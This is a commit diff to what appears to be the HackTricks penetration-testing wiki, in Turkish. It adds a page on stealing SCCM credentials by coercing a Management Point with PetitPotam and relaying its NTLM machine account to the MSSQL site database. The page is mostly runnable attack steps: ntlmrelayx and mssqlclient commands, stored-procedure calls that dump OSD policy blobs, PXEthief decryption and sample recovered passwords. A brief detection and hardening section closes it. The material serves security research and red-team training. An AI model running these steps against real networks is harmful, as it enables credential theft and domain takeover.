Translated ['src/windows-hardening/active-directory-methodology/abusing-

This commit is contained in:
Translator 2025-07-22 08:30:58 +00:00
parent 50e4c54b46
commit 8100b412c3
3 changed files with 165 additions and 3 deletions

View File

@ -283,6 +283,7 @@
- [Privileged Groups](windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md)
- [RDP Sessions Abuse](windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
- [Resource-based Constrained Delegation](windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md)
- [Sccm Management Point Relay Sql Policy Secrets](windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md)
- [Security Descriptors](windows-hardening/active-directory-methodology/security-descriptors.md)
- [SID-History Injection](windows-hardening/active-directory-methodology/sid-history-injection.md)
- [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)

View File

@ -176,7 +176,7 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
## MSSQL Güvenilir Bağlantılar
Eğer bir MSSQL örneği, farklı bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa. Kullanıcının güvenilir veritabanı üzerinde yetkileri varsa, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.
Eğer bir MSSQL örneği, farklı bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak kabul ediliyorsa. Kullanıcının güvenilir veritabanı üzerinde yetkileri varsa, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.
**Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.**
@ -278,9 +278,16 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
**MSSQL yerel kullanıcısı** genellikle **`SeImpersonatePrivilege`** adı verilen özel bir yetkiye sahiptir. Bu, hesabın "kimlik doğrulamasından sonra bir istemciyi taklit etmesine" olanak tanır.
Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ortadaki hizmete kimlik doğrulaması yapmaya zorlamaktır. Bu sahte hizmet, kimlik doğrulaması yapmaya çalışırken SİSTEM hizmetini taklit edebilir.
Birçok yazarın geliştirdiği bir strateji, bir SİSTEM hizmetini, saldırganın oluşturduğu sahte veya ortadaki adam hizmetine kimlik doğrulaması yapmaya zorlamaktır. Bu sahte hizmet, kimlik doğrulaması yapmaya çalışırken SİSTEM hizmetini taklit edebilir.
[SweetPotato](https://github.com/CCob/SweetPotato), Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilen bu çeşitli tekniklerin bir derlemesini sunmaktadır.
[SweetPotato](https://github.com/CCob/SweetPotato), Beacon'ın `execute-assembly` komutu aracılığıyla yürütülebilecek bu çeşitli tekniklerin bir koleksiyonuna sahiptir.
### SCCM Yönetim Noktası NTLM İletimi (OSD Gizli Çıkarma)
SCCM **Yönetim Noktaları**nın varsayılan SQL rollerinin, Ağ Erişim Hesabı ve Görev Dizisi gizli bilgilerini doğrudan site veritabanından dökme amacıyla nasıl istismar edilebileceğini görün:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,154 @@
# SCCM Yönetim Noktası NTLM Relay ile SQL OSD Politika Gizli Çıkarma
{{#include ../../banners/hacktricks-training.md}}
## TL;DR
Bir **System Center Configuration Manager (SCCM) Yönetim Noktası (MP)**'nı SMB/RPC üzerinden kimlik doğrulamaya zorlayarak ve bu NTLM makine hesabını **site veritabanına (MSSQL)** **relay** ederek `smsdbrole_MP` / `smsdbrole_MPUserSvc` haklarını elde edersiniz. Bu roller, **Operating System Deployment (OSD)** politika blob'larını (Ağ Erişim Hesabı kimlik bilgileri, Görev Dizisi değişkenleri vb.) açığa çıkaran bir dizi saklı prosedürü çağırmanıza olanak tanır. Blob'lar hex kodlu/şifreli olup, **PXEthief** ile çözülebilir ve şifresi çözülebilir, düz metin gizli bilgileri verir.
Yüksek seviyeli zincir:
1. MP & site DB'yi keşfedin ↦ kimlik doğrulaması yapılmamış HTTP uç noktası `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`.
2. `ntlmrelayx.py -t mssql://<SiteDB> -ts -socks` başlatın.
3. MP'yi **PetitPotam**, PrinterBug, DFSCoerce vb. kullanarak zorlayın.
4. SOCKS proxy üzerinden `mssqlclient.py -windows-auth` ile relay edilen **<DOMAIN>\\<MP-host>$** hesabı olarak bağlanın.
5. Aşağıdakileri yürütün:
* `use CM_<SiteCode>`
* `exec MP_GetMachinePolicyAssignments N'<UnknownComputerGUID>',N''`
* `exec MP_GetPolicyBody N'<PolicyID>',N'<Version>'` (veya `MP_GetPolicyBodyAfterAuthorization`)
6. `0xFFFE` BOM'u çıkarın, `xxd -r -p` → XML → `python3 pxethief.py 7 <hex>`.
`OSDJoinAccount/OSDJoinPassword`, `NetworkAccessUsername/Password` gibi gizli bilgiler, PXE veya istemcilerle etkileşime girmeden kurtarılır.
---
## 1. Kimlik doğrulaması yapılmamış MP uç noktalarını listeleme
MP ISAPI uzantısı **GetAuth.dll**, kimlik doğrulaması gerektirmeyen birkaç parametre sunar (site yalnızca PKI ise):
| Parametre | Amaç |
|-----------|---------|
| `MPKEYINFORMATIONMEDIA` | Site imzalama sertifikası genel anahtarını + *x86* / *x64* **Tüm Bilinmeyen Bilgisayarlar** cihazlarının GUID'lerini döndürür. |
| `MPLIST` | Sitedeki her Yönetim Noktasını listeler. |
| `SITESIGNCERT` | Birincil Site imzalama sertifikasını döndürür (LDAP olmadan site sunucusunu tanımlayın). |
Daha sonraki DB sorguları için **clientID** olarak kullanılacak GUID'leri alın:
```bash
curl http://MP01.contoso.local/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA | xmllint --format -
```
---
## 2. MP makine hesabını MSSQL'e iletme
```bash
# 1. Start the relay listener (SMB→TDS)
ntlmrelayx.py -ts -t mssql://10.10.10.15 -socks -smb2support
# 2. Trigger authentication from the MP (PetitPotam example)
python3 PetitPotam.py 10.10.10.20 10.10.10.99 \
-u alice -p P@ssw0rd! -d CONTOSO -dc-ip 10.10.10.10
```
Zorlamanın tetiklendiğinde şöyle bir şey görmelisiniz:
```
[*] Authenticating against mssql://10.10.10.15 as CONTOSO/MP01$ SUCCEED
[*] SOCKS: Adding CONTOSO/MP01$@10.10.10.15(1433)
```
---
## 3. OSD politikalarını saklanan prosedürler aracılığıyla tanımlayın
SOCKS proxy üzerinden bağlanın (varsayılan olarak port 1080):
```bash
proxychains mssqlclient.py CONTOSO/MP01$@10.10.10.15 -windows-auth
```
**CM_<SiteCode>** DB'sine geçin (3 haneli site kodunu kullanın, örneğin `CM_001`).
### 3.1 Bilinmeyen Bilgisayar GUID'lerini Bulun (isteğe bağlı)
```sql
USE CM_001;
SELECT SMS_Unique_Identifier0
FROM dbo.UnknownSystem_DISC
WHERE DiscArchKey = 2; -- 2 = x64, 0 = x86
```
### 3.2 Atanan politikaları listele
```sql
EXEC MP_GetMachinePolicyAssignments N'e9cd8c06-cc50-4b05-a4b2-9c9b5a51bbe7', N'';
```
Her satır `PolicyAssignmentID`, `Body` (hex), `PolicyID`, `PolicyVersion` içerir.
Politikalara odaklanın:
* **NAAConfig** Ağ Erişim Hesabı kimlik bilgileri
* **TS_Sequence** Görev Sırası değişkenleri (OSDJoinAccount/Password)
* **CollectionSettings** Çalıştırma hesabı içerebilir
### 3.3 Tam gövdeyi al
Eğer zaten `PolicyID` ve `PolicyVersion`'a sahipseniz, clientID gereksinimini atlayabilirsiniz:
```sql
EXEC MP_GetPolicyBody N'{083afd7a-b0be-4756-a4ce-c31825050325}', N'2.00';
```
> ÖNEMLİ: SSMS'de "Maksimum Alınan Karakter" değerini artırın (>65535) aksi takdirde blob kesilecektir.
---
## 4. Blob'u çöz ve şifreyi çöz
```bash
# Remove the UTF-16 BOM, convert from hex → XML
echo 'fffe3c003f0078…' | xxd -r -p > policy.xml
# Decrypt with PXEthief (7 = decrypt attribute value)
python3 pxethief.py 7 $(xmlstarlet sel -t -v "//value/text()" policy.xml)
```
Kurtarılan gizli bilgiler örneği:
```
OSDJoinAccount : CONTOSO\\joiner
OSDJoinPassword: SuperSecret2025!
NetworkAccessUsername: CONTOSO\\SCCM_NAA
NetworkAccessPassword: P4ssw0rd123
```
---
## 5. İlgili SQL rolleri ve prosedürleri
Relay sırasında oturum açma şu şekilde eşlenir:
* `smsdbrole_MP`
* `smsdbrole_MPUserSvc`
Bu roller, bu saldırıda kullanılan ana EXEC izinleri de dahil olmak üzere, onlarca EXEC izni sunar:
| Saklanan Prosedür | Amaç |
|------------------|---------|
| `MP_GetMachinePolicyAssignments` | Bir `clientID` için uygulanan politikaları listele. |
| `MP_GetPolicyBody` / `MP_GetPolicyBodyAfterAuthorization` | Tam politika gövdesini döndür. |
| `MP_GetListOfMPsInSiteOSD` | `MPKEYINFORMATIONMEDIA` yolu tarafından döndürülen. |
Tam listeyi inceleyebilirsiniz:
```sql
SELECT pr.name
FROM sys.database_principals AS dp
JOIN sys.database_permissions AS pe ON pe.grantee_principal_id = dp.principal_id
JOIN sys.objects AS pr ON pr.object_id = pe.major_id
WHERE dp.name IN ('smsdbrole_MP','smsdbrole_MPUserSvc')
AND pe.permission_name='EXECUTE';
```
---
## 6. Tespit ve Güçlendirme
1. **MP oturumlarını izleyin** herhangi bir MP bilgisayar hesabı, ana bilgisayarı olmayan bir IP'den oturum açıyorsa ≈ relay.
2. Site veritabanında **Kimlik Doğrulama için Genişletilmiş Koruma (EPA)**'yı etkinleştirin (`PREVENT-14`).
3. Kullanılmayan NTLM'yi devre dışı bırakın, SMB imzasını zorlayın, RPC'yi kısıtlayın (aynı önlemler `PetitPotam`/`PrinterBug` için kullanılır).
4. MP ↔ DB iletişimini IPSec / karşılıklı TLS ile güçlendirin.
---
## Ayrıca bakınız
* NTLM relay temelleri:
{{#ref}}
../ntlm/README.md
{{#endref}}
* MSSQL kötüye kullanımı ve sonrası:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
## Referanslar
- [Yöneticiyle Konuşmak İsterim: Yönetim Noktası Relay'leri ile Gizli Bilgileri Çalma](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
- [Yanlış Yapılandırma Yöneticisi ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
{{#include ../../banners/hacktricks-training.md}}